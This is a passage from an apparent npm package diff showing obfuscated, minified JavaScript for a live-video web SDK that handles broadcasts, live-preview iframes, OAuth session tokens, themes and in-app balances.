_0x396de1['validateCallback'](_0x247de3), this[_0x42b58c(0x1fe)]((_0x2d56ac, _0x2ffb58) => { const _0x15728f = _0x42b58c; _0x2ffb58 ? _0x247de3(_0x2ffb58) : this[_0x15728f(0x312)]['sendRequest']({ 'method': _0x18c391[_0x15728f(0x1ba)][_0x15728f(0x2b0)], 'withCredentials': !0x0, 'url': this[_0x15728f(0x2bb)][_0x15728f(0x2c4)] + _0x15728f(0x2e1) + _0x3d599d, 'headers': { 'content-type': _0x15728f(0x1ae), 'Authorization': _0x15728f(0x345) + _0x3cb68c[_0x15728f(0x278)][_0x15728f(0x1d0)] } }, async (_0x4fa43a, _0x1112fe) => _0x1112fe ? _0x247de3(_0x1112fe) : _0x4fa43a?.[_0x15728f(0x29f)]?.['error'] ? _0x247de3(_0x4fa43a?.[_0x15728f(0x29f)]?.[_0x15728f(0x2d4)]) : _0x247de3(null, { 'broadcast': await this[_0x15728f(0x21b)][_0x15728f(0x1ea)](_0x4fa43a?.[_0x15728f(0x29f)]?.[_0x15728f(0x258)]) })); }); } [_0x239636(0x256)](_0x2c3f6b) { const _0x2f603c = _0x239636; _0x396de1[_0x2f603c(0x26f)](_0x2c3f6b), this[_0x2f603c(0x1fe)]((_0x52d57e, _0x3c107b) => { const { accessToken: _0x96771d } = _0x52d57e || {}; _0x2c3f6b(_0x3c107b, _0x96771d); }); } async[_0x239636(0x263)](_0x4eaf86, _0x19820a, _0x56e784, _0x2f0d5d, _0x151128 = () => { }) { const _0x12e44a = _0x239636; _0x396de1[_0x12e44a(0x26f)](_0x2f0d5d); const _0x27f934 = _0x224fb9[_0x12e44a(0x348)](_0x19820a, _0x56e784), _0x46f509 = new URL(this[_0x12e44a(0x1cd)] || this[_0x12e44a(0x2bb)][_0x12e44a(0x1ff)]); _0x46f509[_0x12e44a(0x277)] = _0x46f509[_0x12e44a(0x277)] + _0x12e44a(0x282); const { frameId: _0x498eea } = await this[_0x12e44a(0x22c)](_0x4eaf86, _0x46f509, [_0x12e44a(0x1cc)]); return this[_0x12e44a(0x205)](_0x27f934, null, _0x498eea), this[_0x12e44a(0x34c)][_0x12e44a(0x324)](_0x18c391[_0x12e44a(0x212)][_0x12e44a(0x1df)], async (_0x3b9862 = {}) => { const _0x47503d = _0x12e44a; _0x2f0d5d({ ..._0x3b9862, 'broadcast': await this['dataTransformHelper'][_0x47503d(0x1ea)](_0x3b9862[_0x47503d(0x1eb)]) }); }, _0x498eea), this[_0x12e44a(0x34c)][_0x12e44a(0x324)](_0x18c391[_0x12e44a(0x212)][_0x12e44a(0x2cb)], _0x1fae6d => { _0x151128(_0x1fae6d); }, _0x498eea), { 'frameId': _0x498eea }; } [_0x239636(0x206)](_0xa448b, _0x7cf854, _0x24ee50) { const _0x325d20 = _0x239636; _0x396de1[_0x325d20(0x26f)](_0x24ee50), this[_0x325d20(0x228)]['getLivePreviewForUsersBroadcasts'](_0xa448b, _0x7cf854)[_0x325d20(0x347)](async _0x266da2 => { const _0x2ed4f4 = _0x325d20; _0x24ee50(null, { 'broadcasts': await Promise[_0x2ed4f4(0x1af)](_0x266da2[_0x2ed4f4(0x1bc)][_0x2ed4f4(0x2ac)](async _0x2e2af0 => this['dataTransformHelper']['getSNSBroadcastData'](_0x2e2af0))) }); })[_0x325d20(0x2cd)](_0xa4b3c1 => _0x24ee50(_0xa4b3c1)); } [_0x239636(0x249)](_0x55e9b4, _0x43f412, _0x56c0c5) { const _0x1dd32d = _0x239636; _0x396de1[_0x1dd32d(0x2a3)](_0x55e9b4), _0x396de1[_0x1dd32d(0x26f)](_0x56c0c5), this[_0x1dd32d(0x1fe)]((_0x864cb0, _0x8eab04) => { const _0x12799e = _0x1dd32d; if (_0x8eab04) return void _0x56c0c5(_0x8eab04); const _0x29080d = { 'userId': _0x55e9b4, 'limit': _0x43f412?.[_0x12799e(0x24d)] || 0xa, ...void 0x0 !== _0x43f412?.[_0x12799e(0x231)] && { 'isActive': _0x43f412[_0x12799e(0x231)] } }, _0x1d4c6a = this['config'][_0x12799e(0x34f)]; this[_0x12799e(0x312)][_0x12799e(0x257)]({ 'method': _0x18c391['XHR_REQUEST_TYPES']['POST'], 'url': this[_0x12799e(0x2bb)][_0x12799e(0x2c4)] + '/video-api/' + _0x1d4c6a + '/functions/sns-video:getBroadcastsByUser', 'headers': { 'content-type': 'application/json;\x20charset=UTF-8', 'X-Parse-Application-Id': _0x12799e(0x220), 'X-Parse-Session-Token': _0x864cb0[_0x12799e(0x1d0)] }, 'body': JSON['stringify'](_0x29080d) }, (_0xee2689, _0x6624fa) => { const _0x243392 = _0x12799e; if (_0x6624fa) return void _0x56c0c5(_0x6624fa); const _0x25afb5 = _0xee2689?.['result']?.['map'](async _0x2c8a86 => ({ 'broadcast': await this['dataTransformHelper'][_0x243392(0x1ea)](_0x2c8a86) })); Promise[_0x243392(0x1af)](_0x25afb5)[_0x243392(0x347)](_0x2c5114 => _0x56c0c5(null, _0x2c5114))[_0x243392(0x2cd)](_0x586bd4 => _0x56c0c5(_0x586bd4)); }); }); } async[_0x239636(0x294)](_0x5667a2, _0x5e1fe8, _0x25b4c3) { const _0x5f1b13 = _0x239636, _0x2bc647 = async (_0x54064e, _0x45679d) => { const _0x52534a = _0x31ec; _0x5667a2({ 'type': _0x54064e, 'payload': { 'broadcast': await this[_0x52534a(0x21b)][_0x52534a(0x1ea)](_0x45679d) } }); }; this['postManager'][_0x5f1b13(0x324)](_0x18c391['INCOMING_MESSAGE_TYPES'][_0x5f1b13(0x23e)], _0x1f7f0c => _0x2bc647(_0x18c391[_0x5f1b13(0x298)][_0x5f1b13(0x23e)], _0x1f7f0c), _0x5e1fe8), this[_0x5f1b13(0x34c)][_0x5f1b13(0x324)](_0x18c391['INCOMING_MESSAGE_TYPES'][_0x5f1b13(0x2af)], _0x18204b => _0x2bc647(_0x18c391[_0x5f1b13(0x298)][_0x5f1b13(0x2af)], _0x18204b), _0x5e1fe8), this[_0x5f1b13(0x34c)][_0x5f1b13(0x324)](_0x18c391['INCOMING_MESSAGE_TYPES'][_0x5f1b13(0x34b)], _0x45be75 => _0x2bc647(_0x18c391[_0x5f1b13(0x298)]['LIVE_PREVIEW_STOPPED'], _0x45be75), _0x5e1fe8), this[_0x5f1b13(0x34c)][_0x5f1b13(0x324)](_0x18c391[_0x5f1b13(0x212)][_0x5f1b13(0x1d7)], this[_0x5f1b13(0x228)][_0x5f1b13(0x2cc)]['bind'](this['livePreviewManager']), _0x5e1fe8), this['postManager'][_0x5f1b13(0x324)](_0x18c391['INCOMING_MESSAGE_TYPES'][_0x5f1b13(0x1f9)], async () => { const _0x3b0d57 = _0x5f1b13; let _0x2b4ce2 = null; _0x25b4c3[_0x3b0d57(0x307)] || (_0x2b4ce2 = await this['livePreviewManager']['getNextBroadcast'](_0x5e1fe8)), _0x9fe993(_0x5667a2, _0x2b4ce2, this[_0x3b0d57(0x21b)]); const _0x253f7e = _0x224fb9[_0x3b0d57(0x2e3)](_0x2b4ce2?.[_0x3b0d57(0x307)], _0x25b4c3); this['changeRoute'](_0x253f7e, null, _0x5e1fe8); }, _0x5e1fe8); } async[_0x239636(0x232)](_0x5f34cf, _0x38af8c, _0x583385) { const _0x3196a2 = _0x239636; return _0x396de1[_0x3196a2(0x26f)](_0x583385), this[_0x3196a2(0x2f2)][_0x3196a2(0x310)](async () => { const _0x3b5a6f = _0x3196a2, _0x3db4a8 = new URL(this[_0x3b5a6f(0x1cd)] || this['config']['webLiveURL']); _0x3db4a8[_0x3b5a6f(0x277)] = _0x3db4a8[_0x3b5a6f(0x277)] + _0x3b5a6f(0x33f); const { frameId: _0x52c2ba } = await this['createIframe'](_0x5f34cf, _0x3db4a8, [_0x3b5a6f(0x2c5)]); let _0x5351b5; _0x5351b5 = _0x38af8c[_0x3b5a6f(0x307)] ? { ...await this[_0x3b5a6f(0x228)]['getUserBroadcastData'](_0x38af8c[_0x3b5a6f(0x307)], !0x0), 'broadcastId': _0x38af8c['broadcastId'] } : await this[_0x3b5a6f(0x228)]['getNextBroadcast'](_0x52c2ba, _0x38af8c), _0x9fe993(_0x583385, _0x5351b5, this[_0x3b5a6f(0x21b)]); const _0x1fe1ea = _0x224fb9[_0x3b5a6f(0x2e3)](_0x5351b5?.[_0x3b5a6f(0x307)], _0x38af8c, _0x5351b5?.[_0x3b5a6f(0x339)]); return this[_0x3b5a6f(0x205)](_0x1fe1ea, null, _0x52c2ba), await this['initLivePreviewEventHandlers'](_0x583385, _0x52c2ba, _0x38af8c), { 'frameId': _0x52c2ba }; }); } [_0x239636(0x31c)](_0x22b157) { const _0x2e90e1 = _0x239636; this[_0x2e90e1(0x228)][_0x2e90e1(0x2ea)](_0x22b157)[_0x2e90e1(0x347)](() => this[_0x2e90e1(0x34c)][_0x2e90e1(0x342)](_0x22b157, _0x18c391[_0x2e90e1(0x32e)]['LIVE_PREVIEW_PRELOAD'], {})); } [_0x239636(0x2fd)](_0x1592d3, _0xf814fd, _0xd177b1) { const _0x191d4d = _0x239636; _0x396de1[_0x191d4d(0x26f)](_0xf814fd), _0x396de1['validateFontConfig'](_0x1592d3); const _0xae8e1c = Math[_0x191d4d(0x204)]()['toString'](0x24)['slice'](0x2); this['postManager'][_0x191d4d(0x342)](_0xd177b1, _0x18c391[_0x191d4d(0x32e)][_0x191d4d(0x264)], { ..._0x1592d3, 'requestId': _0xae8e1c }), this[_0x191d4d(0x34c)][_0x191d4d(0x324)](_0x18c391['INCOMING_MESSAGE_TYPES']['CUSTOM_FONT_LOADED'], _0xc753ea => { const _0x2bf631 = _0x191d4d; _0xc753ea[_0x2bf631(0x275)] === _0xae8e1c && _0xf814fd(_0xc753ea[_0x2bf631(0x31d)], null); }, _0xd177b1); } ['setTextOverrides'](_0x14031f, _0x2f257f, _0x1f35e1) { const _0x32cbb0 = _0x239636; _0x396de1[_0x32cbb0(0x318)](_0x14031f), _0x396de1[_0x32cbb0(0x340)](_0x2f257f), this['postManager'][_0x32cbb0(0x342)](_0x1f35e1, _0x18c391[_0x32cbb0(0x32e)][_0x32cbb0(0x237)], { 'locale': _0x14031f, 'textData': _0x2f257f }); } [_0x239636(0x1ca)]() { return new Promise((_0x52783e, _0x40e6c7) => { const _0x4f777c = _0x31ec; this[_0x4f777c(0x1fe)]((_0xe4c654, _0x3fb9dc) => { const _0x584870 = _0x4f777c; _0x3fb9dc ? _0x40e6c7(_0x3fb9dc) : this[_0x584870(0x1b0)]['getConfigurationManager']()[_0x584870(0x2d6)](_0xe4c654[_0x584870(0x1d0)])[_0x584870(0x347)](_0x52783e)[_0x584870(0x2cd)](_0x40e6c7); }); }); } }; })()), _0x342796[_0x21a7ec(0x270)]; })())));
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
function _0x151b() { const _0x5f5281 = ['distance', 'combineBroadcastsWithMetadata', 'setBackgroundColor', 'getLivePreviewBroadcasts', 'getUnassignedLivePreviewBroadcast', 'LIVE_PREVIEW_INITIALIZED', '2534805uHogKn', 'timestamp', 'socialNetworkManager', 'searchParams', 'message', 'assign', 'function', 'CLICKED_MARQUEE', 'CURTAIN_CLICKED', 'position:\x20absolute;\x20z-index:\x201;', 'empty-hostapp-config', 'isTokenDataValid', 'promise', 'objectId', 'LIVE_PREVIEW_EMPTY_QUEUE', 'validateHostAppToken', 'SEND_CHAT_MESSAGE', 'livePreviewUserBroadcastData', 'getSNSBroadcastData', 'data', 'invalidViewSource', 'NEARBY_MARQUEE', 'Unable\x20to\x20fetch\x20broadcast\x20data\x20for\x20broadcastId=', '/oauth/token', 'SNIPPET_ROUTES', 'onPostMessage', 'responseText', 'queue', 'iframesData', 'handleWindowUnload', 'onclick', 'stream', 'empty-request-url', 'LIVE_PREVIEW_NEXT_BROADCAST', 'BOOTSTRAP', 'readyState', 'constructor', 'pageSize', 'ensureAccessTokenLoaded', 'webLiveURL', 'liftCurtain', 'emptyHostappConfig', 'reinitSessionHandler', '\x20web/', 'random', 'changeRoute', 'getLivePreviewBroadcastsForUsers', '/functions/sns-video:getBroadcast', 'Timeout\x20occurred\x20for\x20request\x20of\x20type\x20', 'sendChatMessage', 'livePreviewPreload', 'SET_ROUTE_MAPPING', 'setReinitSessionHandler', 'getBroadcast', 'emptyRequestURL', 'hostAppVersion', 'viewSize', 'callback', 'INCOMING_MESSAGE_TYPES', '467188MELhWa', '#/definitions/googleFonts', 'bootstrap', 'open', 'refresh-forbidden', 'recommendedStreamsMarquee', 'unsubscribe', 'append', 'dataTransformHelper', 'validate', 'invalidAuthenticationURL', 'parseSocialNetworkResponse', 'urn:ietf:params:oauth:token-type:session', 'sns-video', 'onBootstrapped', 'sdk', 'wrongSnippetName', 'buildOptions', 'Z_INDEX', 'attachEventHandler', 'handleBootstrapMessage', 'livePreviewManager', 'curtainClicked', 'LIVE_PREVIEW_BROADCAST_LOADING', 'lat', 'createIframe', '?access_token=', 'style', '/live-preview/', 'userAgent', 'isActive', 'createLivePreview', 'isNaN', 'shouldFetchUserBroadcasts', 'filter', 'BOOTSTRAPPED', 'SET_TEXT_OVERRIDES', '^https:\x5c/\x5c/[a-z0-9]+([\x5c-\x5c.]{1}[a-z0-9]+)*(\x5c.[a-z]{2,5})?(:[0-9]{1,5})?(\x5c/.*)?$', '^[a-z]+(\x5c-[a-z]+)*$', 'bootstrapped', '119400uHJjyX', 'setRouteUpdateHandler', 'refreshToken', 'LIVE_PREVIEW_CLICKED', 'currentRoute', 'scoreLimit', 'getElementById', 'some', 'more', 'refreshForbidden', 'getTheme', 'resolve', 'callbacks', 'top:\x200', 'getBroadcastsByUserParseId', 'getWebPurchaseCatalog', 'renewTokenAutomaticallyOnExpiration', 'onreadystatechange', 'limit', 'MAXIMIZE_VIEWING_AREA', 'undefined', 'network', 'setSpecialOfferCallback', '/profile/users/', 'push', 'handleRefreshSessionMessage', '/recommended-streams-marquee-snippet', 'getJWT', 'sendRequest', 'result', 'authUrl', 'getViewBroadcastRoute', 'registerProfile', 'status', 'iframe', 'multiple-iframes-not-supported', 'getLivePreviewForUsersBroadcasts', 'shift', 'requestToken', 'invalid-authentication-url', 'createSnippet', 'CUSTOM_FONT_LOAD', 'position:\x20absolute', 'stringifyMobileBreakPoints', 'args', 'livePreviewNextBroadcast', 'setBalanceUpdateHandler', 'validateViewSource', 'setScopeRequiredHandler', 'networkUserIds', '/relations', 'authToken', 'validateCallback', 'default', 'invalid-theme', 'setSpecialOfferPurchaseURLHandler', 'invalid-view-source', 'livePreviewStopped', 'requestId', 'latestIframeData', 'pathname', 'tokenData', 'forEach', 'sendToAll', 'curtains', '96520BqugjX', 'tryToRenewTokenAutomaticallyOnExpiration', 'sendReceiptMessage', 'PATCH', 'origin', 'isInitialized', '/snippet', '__esModule', '#/definitions/color', 'invalid-hostapp-version', 'iframe-container-not-found', 'createElement', '30aetspu', 'useRefreshToken', '7196ZaQnQv', 'toString', '#/definitions/property', 'ERROR', 'getRecommendedStreamsMarqueeRoute', 'iframe-not-found', 'bind', 'isArray', 'POST', 'addEventListener', 'initLivePreviewEventHandlers', 'wrong-url-resource', 'nonEmptyStringRequired', 'CURTAIN', 'LIVE_PREVIEW_CB_EVENTS', 'invalid-hostapp-locale', 'setNewSessionHandler', '/functions/sns-video:getLivePreviewBroadcasts', 'position:\x20fixed', '/nearby-marquee-snippet', 'ROUTER', 'broadcast', 'setRouteMapping', '/web-payments/purchase/web/catalog', 'SCOPE_REQUIRED', 'validateNonEmptyString', 'setUserRelation', 'wrong-snippet-name', 'dropCurtain', 'empty-request-body', 'prototype', 'mobileBreakPoints', 'customFontLoad', 'viewBroadcast', 'map', 'removeOnReceipt', 'host', 'LIVE_PREVIEW_PLAYING', 'GET', 'withCredentials', 'browserOnly', 'missingCallback', 'type', '\x20not\x20found!', 'unsubscribeAll', 'amd', 'getTimeUntilExpiration', 'getNetwork', 'styleManager', 'config', 'getNearbyMarqueeRoute', 'invalid-authentication-token', '/economy/me/balance/', 'scope', 'networkName', 'src', '559216Nsuqrh', 'z-index:\x20', 'gatewayUrl', 'live-preview', '/config', 'tokenRetries', 'keys', 'PUT', 'hasOwnProperty', 'ON_MARQUEE_ITEMS', 'handleInitialization', 'catch', 'chat', 'balance', 'viewStyle', 'reduce', 'setMaximizeViewingAreaHandler', '/video-api/', 'error', 'automaticTokenRenewalTimeout', 'getConfig', 'invalid-authentication-user-agent', 'score', 'TMGWebSDK', 'customFontLoaded', 'distanceInKm', 'workingOnPromise', 'getOrigin', 'array', 'messageSender', 'curtain', '/video-metadata/broadcast/', 'viewersCount', 'getLivePreviewRoute', 'livePreviewPlaying', 'frameId', '#/definitions/icons', 'sessionRefreshed', 'max', 'requestTokenPromise', 'waitForInitialization', 'iframeNotFound', '1892712iNpVcE', 'invalidAuthenticationConfiguration', 'lng', 'dequeue', 'getUserVIPStatus', 'Unable\x20to\x20parse\x20mobileBreakPoints', 'livePreviewInstantiationQueue', 'validateFontConfig', 'reject', 'theme', ',\x20accept\x20', 'bgColor', 'messageId', 'DONE', 'invalidHostappLocale', 'configure', 'log', 'loadCustomFont', 'setTheme', 'invalid-color', 'find', 'No\x20eligible\x20Live\x20Preview\x20broadasts\x20found', 'Unable\x20to\x20obtain\x20Live\x20Preview\x20broadasts', 'invalid-authentication-configuration', 'removeEventListener', 'XHR_RESPONSE_CODES', 'checkSpecialOfferPromise', 'broadcastId', 'location', 'expiresIn', 'getInAppCurrencyBalance', 'initializations', 'socialNetworksFetchPromise', 'setMaxZindex', 'web', 'invalidRequestHeaders', 'enqueue', 'invalidAuthenticationUserAgent', 'requestManager', 'browse', ':user:', 'div', 'RECOMMENDED_STREAMS_MARQUEE', 'features', 'validateLocaleString', 'getIframeData', 'appendChild', 'join', 'preloadLivePreviewStream', 'err', 'defineProperty', 'invalid-locale-text-data', 'route', 'camera;\x20microphone;\x20geolocation;\x20autoplay;\x20clipboard-write', 'toStringTag', 'configurationManager', 'subscribe', 'initializedPromises', 'createWebLiveIframe', 'pillType', 'validateRequestOptions', 'slice', 'oauthError', 'moreBroadcastsExists', 'setNewAuthToken', 'Error\x20occurred!', 'OUTGOING_MESSAGE_TYPES', 'THROWABLE_ERRORS', 'test', 'setTextOverrides', 'invalid-authentication-credentials', 'parentNode', 'Handler\x20for\x20a\x20message\x20of\x20type\x20', 'gender', 'insertWebLiveIframe', 'invalidHostappName', 'getBalance', 'metadata', 'validateAuthenticationConfig', 'currentScore', 'DOMHelper', 'invalid-hostapp-name', 'drop', '/live-preview', 'validateLocaleTextData', 'validateRequestUserAgent', 'send', 'removeChild', 'setRequestHeader', 'Bearer\x20', 'setSendChatMessageHandler', 'then', 'getSnippetRoute', 'browser-only', 'SNIPPET_MARQUEE_SETTINGS', 'LIVE_PREVIEW_STOPPED', 'postManager', 'object', 'exports', 'hostAppName', 'missing-callback', '354oUIqhN', 'BALANCE_UPDATE', 'livePreviewBroadcastLoading', 'includes', 'url', 'invalidLocale', 'length', 'string', 'getSocialNetworksData', 'specialOfferCallback', 'scopeRequired', 'application/json;\x20charset=UTF-8', 'all', 'authenticationManager', 'livePreviewClicked', 'SESSION_REFRESHED', 'emptyRequestBody', 'eventManager', 'minZindex', 'livePreviewBroadcasts', 'replace', 'finally', 'postMessage', 'XHR_REQUEST_TYPES', 'pendingPromise', 'broadcasts', 'width:\x20100vw', 'stringify', 'setAttribute', 'background:\x20', 'returnValue', 'maxZindex', 'values', 'router', 'action', 'nearbyMarquee', 'invalid-locale', 'could-not-get-oauth-data', 'wrongURLResource', 'getClientSideConfig', 'application/x-www-form-urlencoded', 'snippet', 'originalWebLiveURLObject', 'beforeunload', 'checkForSpecialOffer', 'accessToken', 'now']; _0x151b = function () { return _0x5f5281; }; return _0x151b(); } function _0x31ec(_0x305ba6, _0x173554) { const _0x151bc1 = _0x151b(); return _0x31ec = function (_0x31ec3f, _0x38ac91) { _0x31ec3f = _0x31ec3f - 0x1a8; let _0x4c1491 = _0x151bc1[_0x31ec3f]; return _0x4c1491; }, _0x31ec(_0x305ba6, _0x173554); } (function (_0x1eb5a3, _0x15121c) { const _0x3d7857 = _0x31ec, _0x4e3f69 = _0x1eb5a3(); while (!![]) { try { const _0x3a7b00 = -parseInt(_0x3d7857(0x27c)) / 0x1 + -parseInt(_0x3d7857(0x213)) / 0x2 + parseInt(_0x3d7857(0x351)) / 0x3 * (-parseInt(_0x3d7857(0x28a)) / 0x4) + parseInt(_0x3d7857(0x23b)) / 0x5 * (parseInt(_0x3d7857(0x288)) / 0x6) + parseInt(_0x3d7857(0x2c2)) / 0x7 + parseInt(_0x3d7857(0x2ec)) / 0x8 + parseInt(_0x3d7857(0x1d8)) / 0x9; if (_0x3a7b00 === _0x15121c) break; else _0x4e3f69['push'](_0x4e3f69['shift']()); } catch (_0x569939) { _0x4e3f69['push'](_0x4e3f69['shift']()); } } }(_0x151b, 0x2ac16), !function (_0x4b3352, _0x356137) { const _0x659c7a = _0x31ec; _0x659c7a(0x34d) == typeof exports && _0x659c7a(0x34d) == typeof module ? module[_0x659c7a(0x34e)] = _0x356137() : _0x659c7a(0x1de) == typeof define && define[_0x659c7a(0x2b7)] ? define([], _0x356137) : 'object' == typeof exports ? exports[_0x659c7a(0x2d9)] = _0x356137() : _0x4b3352[_0x659c7a(0x2d9)] = _0x356137(); }(self, () => ((() => { 'use strict'; const _0x21a7ec = _0x31ec; var _0x492d44 = { 0x46: (_0x25995f, _0x33580b, _0x4ab431) => { const _0x118605 = _0x31ec; _0x4ab431['r'](_0x33580b), _0x4ab431['d'](_0x33580b, { 'AUTH_RETRIES_NUM': () => _0x4730b9, 'INCOMING_MESSAGE_TYPES': () => _0x342eb4, 'LIVE_PREVIEW_CB_EVENTS': () => _0x2c11a7, 'NEARBY_MARQUEE': () => _0x49610b, 'OUTGOING_MESSAGE_TYPES': () => _0x2b0509, 'RECOMMENDED_STREAMS_MARQUEE': () => _0x552ae8, 'SNIPPET_MARQUEE_SETTINGS': () => _0x177411, 'SNIPPET_ROUTES': () => _0x440596, 'THEME_SCHEMA': () => _0x2b63e6, 'THROWABLE_ERRORS': () => _0x180d82, 'VIEW_SOURCE': () => _0x19f985, 'XHR_REQUEST_TYPES': () => _0x3d5376, 'XHR_RESPONSE_CODES': () => _0xb8cd11, 'Z_INDEX': () => _0x1473b1 }); const _0x1473b1 = { 'MAX': 0x1000037, 'MIN': 0x1 }, _0x2b0509 = { 'BOOTSTRAP': _0x118605(0x215), 'ROUTER': _0x118605(0x1c4), 'LOCATION': 'location', 'SESSION_REFRESHED': _0x118605(0x2e7), 'ERROR': _0x118605(0x2d4), 'SET_BACKGROUND_COLOR': _0x118605(0x1d4), 'SET_THEME': _0x118605(0x2fe), 'CURTAIN_CLICKED': _0x118605(0x229), 'LIVE_PREVIEW_PRELOAD': _0x118605(0x20a), 'CUSTOM_FONT_LOAD': _0x118605(0x2aa), 'SET_TEXT_OVERRIDES': _0x118605(0x331), 'SET_ROUTE_MAPPING': _0x118605(0x2a0) }, _0x342eb4 = { 'BOOTSTRAP': 'bootstrap', 'BOOTSTRAPPED': _0x118605(0x23a), 'ROUTER': _0x118605(0x1c4), 'REFRESH_SESSION': 'refreshSession', 'SEND_CHAT_MESSAGE': _0x118605(0x209), 'CURTAIN': _0x118605(0x2e0), 'BALANCE_UPDATE': 'balanceUpdate', 'MAXIMIZE_VIEWING_AREA': 'maximizeViewingArea', 'SCOPE_REQUIRED': _0x118605(0x1ad), 'CLICKED_MARQUEE': 'clickedMarquee', 'ON_MARQUEE_ITEMS': 'onMarqueeItems', 'LIVE_PREVIEW_CLICKED': _0x118605(0x1b1), 'LIVE_PREVIEW_NEXT_BROADCAST': _0x118605(0x268), 'LIVE_PREVIEW_PLAYING': 'livePreviewPlaying', 'LIVE_PREVIEW_STOPPED': _0x118605(0x274), 'LIVE_PREVIEW_INITIALIZED': 'livePreviewInitialized', 'CUSTOM_FONT_LOADED': _0x118605(0x2da) }, _0x2c11a7 = { 'LIVE_PREVIEW_CLICKED': 'livePreviewClicked', 'LIVE_PREVIEW_BROADCAST_LOADING': _0x118605(0x353), 'LIVE_PREVIEW_EMPTY_QUEUE': 'livePreviewEmptyQueue', 'LIVE_PREVIEW_PLAYING': _0x118605(0x2e4), 'LIVE_PREVIEW_STOPPED': _0x118605(0x274) }, _0xb8cd11 = { 'SUCCESS': 0xc8 }, _0x3d5376 = { 'GET': _0x118605(0x2b0), 'POST': _0x118605(0x292), 'PATCH': 'PATCH', 'PUT': _0x118605(0x2c9) }, _0x2b63e6 = { 'title': 'web-live\x20theme\x20configuration\x20schema', 'type': _0x118605(0x34d), 'propertyNames': { 'pattern': _0x118605(0x239) }, 'patternProperties': { '(^|-)color$': { '$ref': _0x118605(0x284) }, '^icons-': { '$ref': _0x118605(0x2e6) } }, 'properties': { 'font': { 'type': _0x118605(0x34d), 'properties': { 'google': { '$ref': '#/definitions/googleFonts' } }, 'propertyNames': { 'pattern': _0x118605(0x239) }, 'additionalProperties': { '$ref': '#/definitions/property' } }, 'font-google': { '$ref': _0x118605(0x214) }, 'icons': { '$ref': '#/definitions/icons' } }, 'additionalProperties': { '$ref': _0x118605(0x28c) }, 'definitions': { 'googleFonts': { 'type': _0x118605(0x2de), 'minItems': 0x1, 'items': { 'type': _0x118605(0x1aa) } }, 'color': { 'type': _0x118605(0x1aa), 'regexp': { 'pattern': '^(#(?:[\x5cda-f]{3,4}|[\x5cda-f]{6}(?:[\x5cda-f]{2})?)|rgb\x5c([\x5cd]{1,3}(?:[\x5cs]*,[\x5cs]*[\x5cd]{1,3}){2}\x5c)|rgba\x5c([\x5cd]{1,3}(?:[\x5cs]*,[\x5cs]*[\x5cd]{1,3}){2}(?:[\x5cs]*,[\x5cs]*0(?:\x5c.[\x5cd]{1,2})?|[\x5cs]*,[\x5cs]*1(?:\x5c.0)?)?\x5c))$', 'flags': 'i' } }, 'icons': { 'anyOf': [{ 'type': _0x118605(0x1aa), 'regexp': { 'pattern': '^url(.*?)', 'flags': 'i' } }, { 'type': _0x118605(0x34d), 'minProperties': 0x1 }], 'patternProperties': { '^[a-z]+(\x5c-[a-z]+)*$': { '$ref': _0x118605(0x2e6) } }, 'additionalProperties': !0x1 }, 'property': { 'anyOf': [{ 'type': _0x118605(0x1aa) }, { 'type': 'object', 'minProperties': 0x1 }], 'patternProperties': { '(^|-)color$': { '$ref': _0x118605(0x284) }, '^[a-z]+(\x5c-[a-z]+)*$': { '$ref': '#/definitions/property' } }, 'additionalProperties': !0x1 } } }, _0x4730b9 = 0x3, _0x180d82 = { 'missingCallback': _0x118605(0x350), 'oauthError': _0x118605(0x1c8), 'invalidColor': _0x118605(0x2ff), 'invalidTheme': _0x118605(0x271), 'refreshForbidden': _0x118605(0x217), 'iframeNotFound': _0x118605(0x28f), 'iframeContainerNotFound': _0x118605(0x286), 'emptyRequestURL': _0x118605(0x1f8), 'invalidRequestHeaders': 'invalid-request-headers', 'emptyRequestBody': _0x118605(0x2a7), 'invalidAuthenticationUserAgent': _0x118605(0x2d7), 'emptyHostappConfig': _0x118605(0x1e2), 'invalidHostappLocale': _0x118605(0x299), 'invalidHostappName': _0x118605(0x33d), 'invalidHostappVersion': _0x118605(0x285), 'invalidAuthenticationToken': _0x118605(0x2bd), 'invalidAuthenticationConfiguration': _0x118605(0x303), 'invalidAuthenticationCredentials': _0x118605(0x332), 'invalidAuthenticationURL': _0x118605(0x262), 'browserOnly': _0x118605(0x349), 'wrongSnippetName': _0x118605(0x2a5), 'wrongSettingsType': 'settings-should-be-object', 'missingRequiredSnippetSetting': 'missing-required-snippet-setting', 'wrongURLResource': _0x118605(0x295), 'multipleIframesNotSupported': _0x118605(0x25e), 'invalidViewSource': _0x118605(0x273), 'invalidFontConfig': 'invalid-font-config', 'invalidLocale': _0x118605(0x1c7), 'invalidLocaleTextData': _0x118605(0x31f), 'nonEmptyStringRequired': 'non-empty-string-required' }, _0x49610b = _0x118605(0x1c6), _0x552ae8 = _0x118605(0x218), _0x440596 = { [_0x49610b]: _0x118605(0x29d), [_0x552ae8]: _0x118605(0x255) }, _0x177411 = { 'lat': _0x118605(0x22b), 'lng': _0x118605(0x2ee), 'viewSize': 'viewSize', 'viewStyle': 'viewStyle', 'gender': _0x118605(0x335), 'pageSize': 'pageSize', 'scoreLimit': _0x118605(0x240), 'mobileBreakPoints': _0x118605(0x2a9), 'pillType': _0x118605(0x327) }, _0x19f985 = { 'BROWSE': _0x118605(0x313), 'CHAT': _0x118605(0x2ce) }; } }, _0x459501 = {}; function _0x4b1d53(_0x2ec906) { const _0x4c6b33 = _0x31ec; var _0x5f15d6 = _0x459501[_0x2ec906]; if (void 0x0 !== _0x5f15d6) return _0x5f15d6[_0x4c6b33(0x34e)]; var _0x509cc0 = _0x459501[_0x2ec906] = { 'exports': {} }; return _0x492d44[_0x2ec906](_0x509cc0, _0x509cc0[_0x4c6b33(0x34e)], _0x4b1d53), _0x509cc0[_0x4c6b33(0x34e)]; } _0x4b1d53['d'] = (_0x227387, _0x2e7d58) => { const _0x13522b = _0x31ec; for (var _0x2a767f in _0x2e7d58) _0x4b1d53['o'](_0x2e7d58, _0x2a767f) && !_0x4b1d53['o'](_0x227387, _0x2a767f) && Object[_0x13522b(0x31e)](_0x227387, _0x2a767f, { 'enumerable': !0x0, 'get': _0x2e7d58[_0x2a767f] }); }, _0x4b1d53['o'] = (_0x19fb3e, _0x338384) => Object[_0x21a7ec(0x2a8)][_0x21a7ec(0x2ca)]['call'](_0x19fb3e, _0x338384), _0x4b1d53['r'] = _0x4a36a2 => { const _0x568d6d = _0x21a7ec; _0x568d6d(0x24f) != typeof Symbol && Symbol[_0x568d6d(0x322)] && Object[_0x568d6d(0x31e)](_0x4a36a2, Symbol[_0x568d6d(0x322)], { 